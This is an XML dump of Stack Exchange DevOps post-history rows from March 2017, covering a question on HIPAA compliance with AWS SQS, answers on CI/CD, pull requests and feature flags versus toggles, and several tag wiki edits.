  <row Id="1131" PostHistoryTypeId="5" PostId="124" RevisionGUID="a49aa48d-20df-4bbf-bdb4-6747cdc07d7f" CreationDate="2017-03-06T10:16:14.337" UserId="460" Comment="although HIPPA is used sometimes the correct abbreviation is HIPAA" Text="I have a use case where data from S3 is queued into AWS SQS, which is in turn connected to CloudWatch, whose metrics will be triggering AWS Lambda.&#xD;&#xA;&#xD;&#xA;However, I want the architecture to be [HIPAA][1] compliant. So, I have come up with this idea:&#xD;&#xA;&#xD;&#xA;1. Once my S3 bucket gets a file,&#xD;&#xA;2. Fire up a Lambda function, which does hashing/name scrambling of the files, and copies to another S3 bucket (via `aws cp`)&#xD;&#xA;3. Connect the bucket with the hashed/scrambled names to the SQS queue&#xD;&#xA;&#xD;&#xA;**Is this a good and secure practice? Or is there a better workaround?** (Would be more than happy if I can send encrypted keys of S3 to SQS. But not sure if I can or if it is possible)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Health_Insurance_Portability_and_Accountability_Act" ContentLicense="CC BY-SA 3.0" />
  <row Id="1132" PostHistoryTypeId="4" PostId="124" RevisionGUID="a49aa48d-20df-4bbf-bdb4-6747cdc07d7f" CreationDate="2017-03-06T10:16:14.337" UserId="460" Comment="although HIPPA is used sometimes the correct abbreviation is HIPAA" Text="How do I work around the fact that AWS SQS is not HIPAA compliant?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1133" PostHistoryTypeId="6" PostId="124" RevisionGUID="a49aa48d-20df-4bbf-bdb4-6747cdc07d7f" CreationDate="2017-03-06T10:16:14.337" UserId="460" Comment="although HIPPA is used sometimes the correct abbreviation is HIPAA" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;amazon-sqs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1134" PostHistoryTypeId="24" PostId="124" RevisionGUID="a49aa48d-20df-4bbf-bdb4-6747cdc07d7f" CreationDate="2017-03-06T10:16:14.337" Comment="Proposed by 460 approved by 46 edit id of 113" ContentLicense="CC BY-SA 3.0" />
  <row Id="1135" PostHistoryTypeId="2" PostId="381" RevisionGUID="d5713415-01e3-43f9-898e-572fbdd8747e" CreationDate="2017-03-06T10:28:15.623" UserId="27" Text="As @bradim said using your CI/CD tool to initiate the deployment instead of hand based commands is usually good step forward, as is adding tests in your pipeline that actually test your deployment scripts on your staging (or a freshly created) environment, where you can pick up bugs earlier.&#xD;&#xA;&#xD;&#xA;I would also add that instead of calling your ansible scripts directly, you can also add tools like [Ansible Tower][1] into your flow, which will let you track the changes that have been run more easily, and can give you an additional step of security into your flow.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/tower" ContentLicense="CC BY-SA 3.0" />
  <row Id="1136" PostHistoryTypeId="2" PostId="382" RevisionGUID="d86ccb1b-8a25-4d5a-86ac-3386ca6f3688" CreationDate="2017-03-06T10:42:08.630" UserId="13" Text="One of the implementation on code is the [Pull Request model](https://help.github.com/articles/about-pull-requests/) (PR)  popularized by GitHub.&#xD;&#xA;&#xD;&#xA;The main reasoning behind is that only a small set of maintainers of the product will be allowed to merge code into the release branch. Every new feature/bugfix will happen on a new branch and once done will be defined as a pull request.&#xD;&#xA;&#xD;&#xA;This allow to test on the merge from actual release (master) code with the code in the PR in an automatic way (Travis being the most popular for public project actually) and give a first feed back on the code quality.&#xD;&#xA;&#xD;&#xA;Once the automatic tests have passed, for the 4 eyes principles, it still require a configurable number of person to review and approve the change before it gets merged, obviously at least 1 person no the PR author to enforce 4 eyes viewing the changes.&#xD;&#xA;&#xD;&#xA;There's a wide range of options to merge automatically once the quorum of reviewer is met or to still need a manual merge by a maintainer.  &#xD;&#xA;The permissions to review and merge can be separated which helps giving more people the right to &quot;vote&quot; on the merge status while keeping the possibility to restrict who can actually do the merge." ContentLicense="CC BY-SA 3.0" />
  <row Id="1137" PostHistoryTypeId="5" PostId="365" RevisionGUID="a05d0aad-6c96-41ae-be8b-993659eb8142" CreationDate="2017-03-06T10:43:13.493" UserId="185" Comment="added 183 characters in body" Text="job-dsl allows programmatic creation of projects in Jenkins, via the job-dsl-plugin. By pushing job creation into scripts, it allows to automate and standardize Jenkins installations." ContentLicense="CC BY-SA 3.0" />
  <row Id="1138" PostHistoryTypeId="24" PostId="365" RevisionGUID="a05d0aad-6c96-41ae-be8b-993659eb8142" CreationDate="2017-03-06T10:43:13.493" Comment="Proposed by 185 approved by 6, 13 edit id of 105" ContentLicense="CC BY-SA 3.0" />
  <row Id="1139" PostHistoryTypeId="5" PostId="357" RevisionGUID="7f6cf291-8e75-40c7-afcb-412ece52a79d" CreationDate="2017-03-06T10:43:21.177" UserId="185" Comment="added 171 characters in body" Text="Rundeck is a general purpose coordination tool, used for automation of operating procedures, job scheduling, incident response, self-serve tasks and automated deployments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1140" PostHistoryTypeId="24" PostId="357" RevisionGUID="7f6cf291-8e75-40c7-afcb-412ece52a79d" CreationDate="2017-03-06T10:43:21.177" Comment="Proposed by 185 approved by 6, 13 edit id of 101" ContentLicense="CC BY-SA 3.0" />
  <row Id="1141" PostHistoryTypeId="5" PostId="33" RevisionGUID="4220edcf-6aec-4a2d-a157-8208ad14c7d2" CreationDate="2017-03-06T10:43:32.933" UserId="460" Comment="add relation to Hudson and tag usage" Text="For questions about Jenkins, an open source automation server, and using Jenkins for topics such as building, testing, and deploying software, etc. For questions specifically about [Jenkins-plugins] use that tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="1142" PostHistoryTypeId="24" PostId="33" RevisionGUID="4220edcf-6aec-4a2d-a157-8208ad14c7d2" CreationDate="2017-03-06T10:43:32.933" Comment="Proposed by 460 approved by 6, 13 edit id of 87" ContentLicense="CC BY-SA 3.0" />
  <row Id="1143" PostHistoryTypeId="5" PostId="323" RevisionGUID="7a0f4b08-286b-4c87-8b0b-ff60c1c7f8f2" CreationDate="2017-03-06T10:43:54.163" UserId="40" Comment="added 117 characters in body" Text="Use this tag for questions about the agile methodology, which describes a set of principles for software development." ContentLicense="CC BY-SA 3.0" />
  <row Id="1144" PostHistoryTypeId="24" PostId="323" RevisionGUID="7a0f4b08-286b-4c87-8b0b-ff60c1c7f8f2" CreationDate="2017-03-06T10:43:54.163" Comment="Proposed by 40 approved by 6, 13 edit id of 94" ContentLicense="CC BY-SA 3.0" />
  <row Id="1145" PostHistoryTypeId="5" PostId="361" RevisionGUID="6ab313b7-c34a-4c35-9406-470e378dc1c2" CreationDate="2017-03-06T10:44:02.520" UserId="185" Comment="added 120 characters in body" Text="runit is a cross-platform Unix init scheme with service supervision, a replacement for sysvinit, and other init schemes." ContentLicense="CC BY-SA 3.0" />
  <row Id="1146" PostHistoryTypeId="24" PostId="361" RevisionGUID="6ab313b7-c34a-4c35-9406-470e378dc1c2" CreationDate="2017-03-06T10:44:02.520" Comment="Proposed by 185 approved by 6, 13 edit id of 103" ContentLicense="CC BY-SA 3.0" />
  <row Id="1147" PostHistoryTypeId="10" PostId="374" RevisionGUID="4661b7b9-31aa-49f3-8371-5cbffd5d3e0f" CreationDate="2017-03-06T10:44:30.197" UserId="-1" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:69,&quot;DisplayName&quot;:&quot;ento&quot;},{&quot;Id&quot;:57,&quot;DisplayName&quot;:&quot;Romeo Ninov&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:460,&quot;DisplayName&quot;:&quot;THelper&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="1148" PostHistoryTypeId="5" PostId="325" RevisionGUID="4d4c7ef8-3998-4e45-a359-d2904000d785" CreationDate="2017-03-06T10:44:38.880" UserId="40" Comment="added 183 characters in body" Text="Use this tag for questions about Release Management, related to topics about managing, planning, scheduling and controlling a software build through different stages and environments." ContentLicense="CC BY-SA 3.0" />
  <row Id="1149" PostHistoryTypeId="24" PostId="325" RevisionGUID="4d4c7ef8-3998-4e45-a359-d2904000d785" CreationDate="2017-03-06T10:44:38.880" Comment="Proposed by 40 approved by 6, 13 edit id of 95" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostHistoryTypeId="5" PostId="32" RevisionGUID="0b1b376b-7056-41f3-bb34-22b6e10188e4" CreationDate="2017-03-06T10:44:54.793" UserId="460" Comment="add relation to Hudson and tag usage" Text="From [Jenkins Documentation][1]: &#xD;&#xA;&#xD;&#xA;&gt; Jenkins is a self-contained, open source automation server which can&#xD;&#xA;&gt; be used to automate all sorts of tasks such as building, testing, and&#xD;&#xA;&gt; deploying software. Jenkins can be installed through native system&#xD;&#xA;&gt; packages, Docker, or even run standalone by any machine with the Java&#xD;&#xA;&gt; Runtime Environment installed.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/&#xD;&#xA;&#xD;&#xA;Jenkins is one of the more popular systems for continuous integration and many [tag:Jenkins-Plugins] are available that extend the out-of-the-box functionality. Jenkins is actually a fork of the [tag:Hudson] system and was created because developer's feared a dispute with Oracle about the Hudson trademark.&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about Jenkins in general, or about using Jenkins for tasks like building, testing and deploying software. For questions specifically about writing or using 3rd party Jenkins plugins, please use the [tag:jenkins-plugins] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="1151" PostHistoryTypeId="24" PostId="32" RevisionGUID="0b1b376b-7056-41f3-bb34-22b6e10188e4" CreationDate="2017-03-06T10:44:54.793" Comment="Proposed by 460 approved by 6, 13 edit id of 86" ContentLicense="CC BY-SA 3.0" />
  <row Id="1152" PostHistoryTypeId="5" PostId="155" RevisionGUID="3a037d0d-c123-484e-b215-da1e89858a5d" CreationDate="2017-03-06T10:45:36.507" UserId="294" Comment="added 38 characters in body" Text="GitHub setup, configuration, and usage" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostHistoryTypeId="24" PostId="155" RevisionGUID="3a037d0d-c123-484e-b215-da1e89858a5d" CreationDate="2017-03-06T10:45:36.507" Comment="Proposed by 294 approved by 6, 13 edit id of 32" ContentLicense="CC BY-SA 3.0" />
  <row Id="1154" PostHistoryTypeId="5" PostId="322" RevisionGUID="a4f8d499-8d0a-4dc1-bbf6-688cb8f863e6" CreationDate="2017-03-06T10:46:00.673" UserId="40" Comment="added 590 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; Agile software development describes a set of principles for software development under which requirements and solutions evolve through the collaborative effort of self-organizing cross-functional teams. Based off Agile Architecture, it advocates adaptive planning, evolutionary development, early delivery, and continuous improvement, and it encourages rapid and flexible response to change. These principles support the definition and continuing evolution of many software development methods.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostHistoryTypeId="24" PostId="322" RevisionGUID="a4f8d499-8d0a-4dc1-bbf6-688cb8f863e6" CreationDate="2017-03-06T10:46:00.673" Comment="Proposed by 40 approved by 6, 13 edit id of 93" ContentLicense="CC BY-SA 3.0" />
  <row Id="1156" PostHistoryTypeId="5" PostId="320" RevisionGUID="190bf565-f76c-422d-b888-47ef423e5d49" CreationDate="2017-03-06T10:46:06.877" UserId="40" Comment="added 761 characters in body" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; The **waterfall model** is a sequential (non-iterative) design process, used in software development processes, in which progress is seen as flowing steadily downwards (like a waterfall) through the phases of conception, initiation, analysis, design, construction, testing, production/implementation and maintenance.&#xD;&#xA;&#xD;&#xA;&gt; The waterfall development model originates in the manufacturing and construction industries: highly structured physical environments in which after-the-fact changes are prohibitively costly, if not impossible. Because no formal software development methodologies existed at the time, this hardware-oriented model was simply adapted for software development.&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Waterfall_model" ContentLicense="CC BY-SA 3.0" />
  <row Id="1157" PostHistoryTypeId="24" PostId="320" RevisionGUID="190bf565-f76c-422d-b888-47ef423e5d49" CreationDate="2017-03-06T10:46:06.877" Comment="Proposed by 40 approved by 6, 13 edit id of 91" ContentLicense="CC BY-SA 3.0" />
  <row Id="1158" PostHistoryTypeId="2" PostId="383" RevisionGUID="2bef1815-3b6f-4b83-9150-3fd5f867bc19" CreationDate="2017-03-06T11:04:58.260" UserId="40" Text="Part of an answer to my (meta) question &quot;http://meta.devops.stackexchange.com/q/73/40&quot; is like so:&#xD;&#xA;&#xD;&#xA;&gt; ... There's could be valid questions about feature flags (formalism, documentation about them, process of definition), which may not be related to feature **toggles** but to feature **ramp up** which carry a less binary meaning. ...&#xD;&#xA;&#xD;&#xA;**My question**: In the context of DevOps, what's the difference between feature flags and feature toggles (if any)?&#xD;&#xA;&#xD;&#xA;PS: Looking at https://martinfowler.com/articles/feature-toggles.html , I don't get the difference between such flags and toggles." ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostHistoryTypeId="1" PostId="383" RevisionGUID="2bef1815-3b6f-4b83-9150-3fd5f867bc19" CreationDate="2017-03-06T11:04:58.260" UserId="40" Text="What's the difference between feature flags and feature toggles (if any)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostHistoryTypeId="3" PostId="383" RevisionGUID="2bef1815-3b6f-4b83-9150-3fd5f867bc19" CreationDate="2017-03-06T11:04:58.260" UserId="40" Text="&lt;terminology&gt;&lt;feature-flags&gt;&lt;feature-toggles&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostHistoryTypeId="2" PostId="384" RevisionGUID="c784bff1-2598-4309-9a21-76916fd92abe" CreationDate="2017-03-06T11:15:36.260" UserId="13" Text="If you take it on an objective only point of view, there's no difference.&#xD;&#xA;&#xD;&#xA;But feature toggles carry a heavy binary &quot;on/off&quot; for the whole application idea, whereas feature flags are a more relaxed term which can encompass ramp up testing more easily.&#xD;&#xA;&#xD;&#xA;When you launch a ramp up testing and turn the new feature on for 10% of your traffic or user base and move up to 20% the next week and so on, the toggle term become counter productive because some people (managers/commercials/some client support people) may not really understand only a part of the clients get the new feature.&#xD;&#xA;&#xD;&#xA;That was my reasoning behind this meta answer." ContentLicense="CC BY-SA 3.0" />
  <row Id="1162" PostHistoryTypeId="2" PostId="385" RevisionGUID="9be8e936-8ba2-48a6-a9a4-d5f049313820" CreationDate="2017-03-06T11:23:46.303" UserId="27" Text="Let's assume you have the following scenario: You have many customers, but most use the exact same app, except for some configuration changes. You would like each of your customer to get the latest of the app ASAP.&#xD;&#xA;&#xD;&#xA;If this is your scenario then try make everything that needs to be differentiated between the apps a configuration change. You build one (or one set of) docker containers that can handle any of your customer based on the configuration it was given. Then on deployment time you simply supply the proper configurations for this container for each of your customer.&#xD;&#xA;&#xD;&#xA;The benefit of this approach is that you don't really incur massive overheads when a new customer comes. You generate their configuration, create the new servers, add some entries into an inventory file, and the next time you deploy, it gets there as well. The more well your CD pipeline is set up the more you can automate any of this process.&#xD;&#xA;&#xD;&#xA;So how would the flow generally look like:&#xD;&#xA;&#xD;&#xA;1. You have your application codebase, that can cater for **all** of your customers&#xD;&#xA;2. You build the docker container for your application (one for the frontend, one for the backend, possibly a few more supporting ones)&#xD;&#xA;3. You have a deployment script that uses a configuration file to determine where to deploy and what.&#xD;&#xA;4. You run this deployment script. It will go over all of your customers, and simply deploy the latest version of your app with the appropriate config.&#xD;&#xA;&#xD;&#xA;If you have a new customer, the only place you have to change is the deployment configuration file. If you are using ansible most likely you have to change your inventory and your vars file. Let's say you have get a new customer, who would like the app to run under Spanish locale, and has access to the beta features. This customer's configuration would maybe look like this:&#xD;&#xA;&#xD;&#xA;    config.js:&#xD;&#xA;    &#xD;&#xA;    SETTINGS = { locale: 'es', beta: true };&#xD;&#xA;    &#xD;&#xA;    config.php:&#xD;&#xA;    &#xD;&#xA;    define('CUSTOMER_LOCALE','es');&#xD;&#xA;    define('CUSTOMER_BETA','true');&#xD;&#xA;&#xD;&#xA;You then make sure that during deployment your container gets these files mounted on startup.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostHistoryTypeId="5" PostId="384" RevisionGUID="5c0844f3-6f6f-4e04-aeb8-adb154713b77" CreationDate="2017-03-06T11:27:02.000" UserId="13" Comment="added 635 characters in body" Text="If you take it on an objective only point of view, there's no difference.&#xD;&#xA;&#xD;&#xA;But feature toggles carry a heavy binary &quot;on/off&quot; for the whole application idea, whereas feature flags are a more relaxed term which can encompass ramp up testing more easily.&#xD;&#xA;&#xD;&#xA;When you launch a ramp up testing and turn the new feature on for 10% of your traffic or user base and move up to 20% the next week and so on, the toggle term become counter productive because some people (managers/commercials/some client support people) may not really understand only a part of the clients get the new feature.&#xD;&#xA;&#xD;&#xA;Ramp up can be defined as (quote from wikipedia on software testing [technology](https://en.wikipedia.org/wiki/Software_performance_testing#Technology)):&#xD;&#xA;&#xD;&#xA;&gt; The usual sequence is to ramp up the load: to start with a few virtual&#xD;&#xA;&gt; users and increase the number over time to a predetermined maximum.&#xD;&#xA;&gt; The test result shows how the performance varies with the load, given&#xD;&#xA;&gt; as number of users vs. response time.&#xD;&#xA;&#xD;&#xA;That was my reasoning behind this meta answer.&#xD;&#xA;&#xD;&#xA;I like etsy's [feature](https://github.com/etsy/feature) API (even is not maintained) as source for explanation, it's an easy to undertand framework which has a good readme around feature flags and their uses.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1164" PostHistoryTypeId="5" PostId="384" RevisionGUID="e4c6d380-23d1-4ac1-b105-27d5f348a267" CreationDate="2017-03-06T11:32:43.990" UserId="13" Comment="added 635 characters in body" Text="If you take it on an objective only point of view, there's no difference.&#xD;&#xA;&#xD;&#xA;But feature _toggles_ carry a heavy binary &quot;on/off&quot; for the whole application idea, whereas feature _flags_ are a more relaxed term which can encompass ramp up testing more easily.&#xD;&#xA;&#xD;&#xA;When you launch a ramp up testing and turn the new feature on for 10% of your traffic or user base and move up to 20% the next week and so on, the toggle term become counter productive.&#xD;&#xA;Some people (managers/commercials/some client support people) may not really understand only a part of the clients get the new feature.&#xD;&#xA;&#xD;&#xA;Ramp up can be defined as (quote from wikipedia on software testing [technology](https://en.wikipedia.org/wiki/Software_performance_testing#Technology)):&#xD;&#xA;&#xD;&#xA;&gt; The usual sequence is to ramp up the load: to start with a few virtual&#xD;&#xA;&gt; users and increase the number over time to a predetermined maximum.&#xD;&#xA;&gt; The test result shows how the performance varies with the load, given&#xD;&#xA;&gt; as number of users vs. response time.&#xD;&#xA;&#xD;&#xA;I like etsy's [feature](https://github.com/etsy/feature) API (even is not maintained) as source for explanation, it's an easy to undertand framework which has a good readme around feature flags and their uses.&#xD;&#xA;&#xD;&#xA;So the difference can be done in the usage of the terms to just help avoiding confusion on what happens on the application." ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostHistoryTypeId="5" PostId="321" RevisionGUID="7f8fd2f6-107f-4bad-a4a0-b42ae79f8247" CreationDate="2017-03-06T12:36:45.657" UserId="40" Comment="added 99 characters in body" Text="Use this tag for questions about the waterfall methodology, a process used in software development." ContentLicense="CC BY-SA 3.0" />
  <row Id="1166" PostHistoryTypeId="24" PostId="321" RevisionGUID="7f8fd2f6-107f-4bad-a4a0-b42ae79f8247" CreationDate="2017-03-06T12:36:45.657" Comment="Proposed by 40 approved by 6, 13 edit id of 92" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostHistoryTypeId="5" PostId="250" RevisionGUID="7dea6688-2cef-4340-906f-21b7b6ad73cc" CreationDate="2017-03-06T14:10:39.877" UserId="460" Comment="added excerpt, added usage and related tags to tag wiki" Text="For questions about Amazon Web Services (AWS) in general. If your question is about a specific Amazon web service please use that tag, e.g. [amazon-s3], [amazon-ec2], [amazon-ecs], [aws-codedeploy]&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostHistoryTypeId="24" PostId="250" RevisionGUID="7dea6688-2cef-4340-906f-21b7b6ad73cc" CreationDate="2017-03-06T14:10:39.877" Comment="Proposed by 460 approved by 6, 13 edit id of 109" ContentLicense="CC BY-SA 3.0" />
  <row Id="1169" PostHistoryTypeId="5" PostId="51" RevisionGUID="465a150e-2438-49db-b79f-05d3eea12960" CreationDate="2017-03-06T14:10:44.133" UserId="460" Comment="added excerpt" Text="Amazon Simple Storage Service. For questions about storing and retrieving DevOps-related data in S3, or using S3 for building a code pipeline." ContentLicense="CC BY-SA 3.0" />
  <row Id="1170" PostHistoryTypeId="24" PostId="51" RevisionGUID="465a150e-2438-49db-b79f-05d3eea12960" CreationDate="2017-03-06T14:10:44.133" Comment="Proposed by 460 approved by 6, 13 edit id of 110" ContentLicense="CC BY-SA 3.0" />
  <row Id="1171" PostHistoryTypeId="5" PostId="380" RevisionGUID="26482d70-bb5a-4a0a-8226-c1d50546f93a" CreationDate="2017-03-06T14:10:48.107" UserId="460" Comment="added 270 characters in body" Text="For questions about using Amazon Elastic Compute Cloud in DevOps, including deploying, monitoring and scaling applications in EC2. For questions specifically about monitoring EC2 with [aws-cloudwatch] use that tag. For the EC2 container service use the [amazon-ecs] tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="1172" PostHistoryTypeId="24" PostId="380" RevisionGUID="26482d70-bb5a-4a0a-8226-c1d50546f93a" CreationDate="2017-03-06T14:10:48.107" Comment="Proposed by 460 approved by 6, 13 edit id of 112" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostHistoryTypeId="5" PostId="379" RevisionGUID="f6d7e72d-c6e7-470f-bbbe-bd1f5dd30bd9" CreationDate="2017-03-06T14:10:51.067" UserId="460" Comment="added 505 characters in body" Text="Amazon Elastic Compute Cloud (EC2) is a service for renting virtual computers with flexible scaling of instances.&#xD;&#xA;&#xD;&#xA;More information: https://aws.amazon.com/ec2/&#xD;&#xA;&#xD;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xD;&#xA;Use this tag for questions about using EC2 in DevOps-related operations, including deploying, monitoring and scaling applications.&#xD;&#xA;&#xD;&#xA;For questions about using [tag:aws-cloudwatch] to monitor EC2 systems please use that tag.&#xD;&#xA;&#xD;&#xA;For questions about the Amazon EC2 container service please use the [tag:amazon-ecs] tag. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1174" PostHistoryTypeId="24" PostId="379" RevisionGUID="f6d7e72d-c6e7-470f-bbbe-bd1f5dd30bd9" CreationDate="2017-03-06T14:10:51.067" Comment="Proposed by 460 approved by 13, 6 edit id of 111" ContentLicense="CC BY-SA 3.0" />
  <row Id="1175" PostHistoryTypeId="5" PostId="249" RevisionGUID="ab4e6e48-9d46-4b6b-9337-ac9cba9dc56e" CreationDate="2017-03-06T14:10:54.370" UserId="460" Comment="added excerpt, added usage and related tags to tag wiki" Text="[Amazon Web Services (AWS)][1] provides a web services platform in the cloud. With AWS you can requisition compute power, virtual machine instances, storage through a variety of databases and file stores as your needs scale up or down.&#xD;&#xA;&#xD;&#xA;SDKs to access and manage Amazon Web Services are provided in a multitude of programming languages, including PHP, Java, .NET. The services are also accessible through the REST and SOAP APIs, command-line interface, and web dashboard.&#xD;&#xA;&#xD;&#xA;Amazon offers many different services, but the most popular (related to DevOps) are:&#xD;&#xA;&#xD;&#xA; - [tag:amazon-s3] Simple Storage Service&#xD;&#xA; - [tag:amazon-sqs] Simple Queue Service&#xD;&#xA; - [tag:amazon-ec2] Elastic Compute Cloud&#xD;&#xA; - [tag:amazon-ecs] EC2 Container Service&#xD;&#xA; - [tag:amazon-lambda]&#xD;&#xA; - Amazon CodePipeline&#xD;&#xA; - Amazon CodeBuild&#xD;&#xA; - [tag:aws-codedeploy]&#xD;&#xA; - [tag:aws-codewatch]&#xD;&#xA; - Amazon OpsWorks&#xD;&#xA; - Amazon CloudFormation&#xD;&#xA; - Amazon CloudTrail&#xD;&#xA; - [tag:aws-cloudwatch]&#xD;&#xA; &#xD;&#xA;&lt;h2&gt;Usage:&lt;/h2&gt;&#xD;&#xA;&#xD;&#xA;Use this tag for questions about Amazon Web Services in general. For questions about a specific Amazon web service please try to use a more specific tag (if that's available). &#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1176" PostHistoryTypeId="24" PostId="249" RevisionGUID="ab4e6e48-9d46-4b6b-9337-ac9cba9dc56e" CreationDate="2017-03-06T14:10:54.370" Comment="Proposed by 460 approved by 13, 6 edit id of 108" ContentLicense="CC BY-SA 3.0" />
  <row Id="1178" PostHistoryTypeId="2" PostId="387" RevisionGUID="955d08e8-2002-4270-bc15-3e70c9716287" CreationDate="2017-03-06T15:39:31.403" UserId="31" Text="In [The Phoenix Project][1] when on one of the tours of the plant we're told that each workstation is a combination of Person, Machine, Measurement, and Process. This makes a lot of sense, after all we have people, servers, KPIs, and instructions.&#xD;&#xA;&#xD;&#xA;However, whenever I model a process (the lifecycle of a Support Ticket for example) I struggle to take this into account.&#xD;&#xA;&#xD;&#xA;My workflow states typically include:&#xD;&#xA;&#xD;&#xA; - First Line Assistance&#xD;&#xA; - Tech/Dev/More Technical Team Assistance&#xD;&#xA; - Code Review&#xD;&#xA; - Testing&#xD;&#xA; - UAT&#xD;&#xA; - Deployment&#xD;&#xA;&#xD;&#xA;I can quite easily measure the cycle types, throughputs, and queue times of each of these states but I don't feel this does justice to the Man, Machine, Method concept. It's an idea which is frustratingly hinted at in the book but not expanded on...&#xD;&#xA;&#xD;&#xA;We know that wait time is a function of utilisation so monitoring how busy people and servers (the finite resources) are is critical. Is there any defined process for expanding my measurements from a simple finite state machine to the Man, Machine, Method, Process idea in the book?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.amazon.co.uk/Phoenix-Project-DevOps-Helping-Business-ebook/dp/B00AZRBLHO" ContentLicense="CC BY-SA 3.0" />
  <row Id="1179" PostHistoryTypeId="1" PostId="387" RevisionGUID="955d08e8-2002-4270-bc15-3e70c9716287" CreationDate="2017-03-06T15:39:31.403" UserId="31" Text="How to model Man, Machine, Measures, and Process in a DevOps world?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1180" PostHistoryTypeId="3" PostId="387" RevisionGUID="955d08e8-2002-4270-bc15-3e70c9716287" CreationDate="2017-03-06T15:39:31.403" UserId="31" Text="&lt;measurement&gt;&lt;systems&gt;&lt;the-phoenix-project&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1181" PostHistoryTypeId="2" PostId="388" RevisionGUID="eb16db34-420c-40c0-b373-9a04b4f0d620" CreationDate="2017-03-06T15:45:40.733" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1182" PostHistoryTypeId="1" PostId="388" RevisionGUID="eb16db34-420c-40c0-b373-9a04b4f0d620" CreationDate="2017-03-06T15:45:40.733" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1183" PostHistoryTypeId="2" PostId="389" RevisionGUID="5a59b3d2-2cd9-4494-8246-a15d3f2a702b" CreationDate="2017-03-06T15:45:40.733" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1184" PostHistoryTypeId="1" PostId="389" RevisionGUID="5a59b3d2-2cd9-4494-8246-a15d3f2a702b" CreationDate="2017-03-06T15:45:40.733" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1186" PostHistoryTypeId="5" PostId="363" RevisionGUID="4bf9c2c0-c037-4c8d-b6d2-a5e336656bfb" CreationDate="2017-03-06T16:46:22.147" UserId="185" Comment="added 244 characters in body" Text="Spring Boot makes it easy to create Spring-powered, production-grade applications and services with absolute minimum fuss. It takes an opinionated view of the Spring platform so that new and existing users can quickly get to the bits they need." ContentLicense="CC BY-SA 3.0" />
  <row Id="1187" PostHistoryTypeId="24" PostId="363" RevisionGUID="4bf9c2c0-c037-4c8d-b6d2-a5e336656bfb" CreationDate="2017-03-06T16:46:22.147" Comment="Proposed by 185 approved by 6, 246 edit id of 104" ContentLicense="CC BY-SA 3.0" />
  <row Id="1188" PostHistoryTypeId="5" PostId="331" RevisionGUID="a35aaeab-cff2-4015-b84f-90bede850af6" CreationDate="2017-03-06T16:47:11.947" UserId="47" Comment="added 865 characters in body" Text="From the [Managing Plugins][1] page of the [tag:jenkins] documentation:&#xD;&#xA;&#xD;&#xA;&gt; Plugins are the primary means of enhancing the functionality of a&#xD;&#xA;&gt; Jenkins environment to suit organization- or user-specific needs.&#xD;&#xA;&gt; There are [over a thousand][2] different plugins which can be&#xD;&#xA;&gt; installed on a Jenkins master and to integrate various build tools,&#xD;&#xA;&gt; cloud providers, analysis tools, and much more.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Plugins can be automaticaly downloaded, with their dependencies, from&#xD;&#xA;&gt; the Update Center. The [Update Center][3] is a service operated by the&#xD;&#xA;&gt; Jenkins project which provides an inventory of open source plugins&#xD;&#xA;&gt; which have been developed and maintained by various members of the&#xD;&#xA;&gt; Jenkins community.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/managing/plugins/&#xD;&#xA;  [2]: https://plugins.jenkins.io/&#xD;&#xA;  [3]: https://jenkins.io/doc/book/glossary/#update-center" ContentLicense="CC BY-SA 3.0" />
  <row Id="1189" PostHistoryTypeId="24" PostId="331" RevisionGUID="a35aaeab-cff2-4015-b84f-90bede850af6" CreationDate="2017-03-06T16:47:11.947" Comment="Proposed by 47 approved by 6, 246 edit id of 98" ContentLicense="CC BY-SA 3.0" />
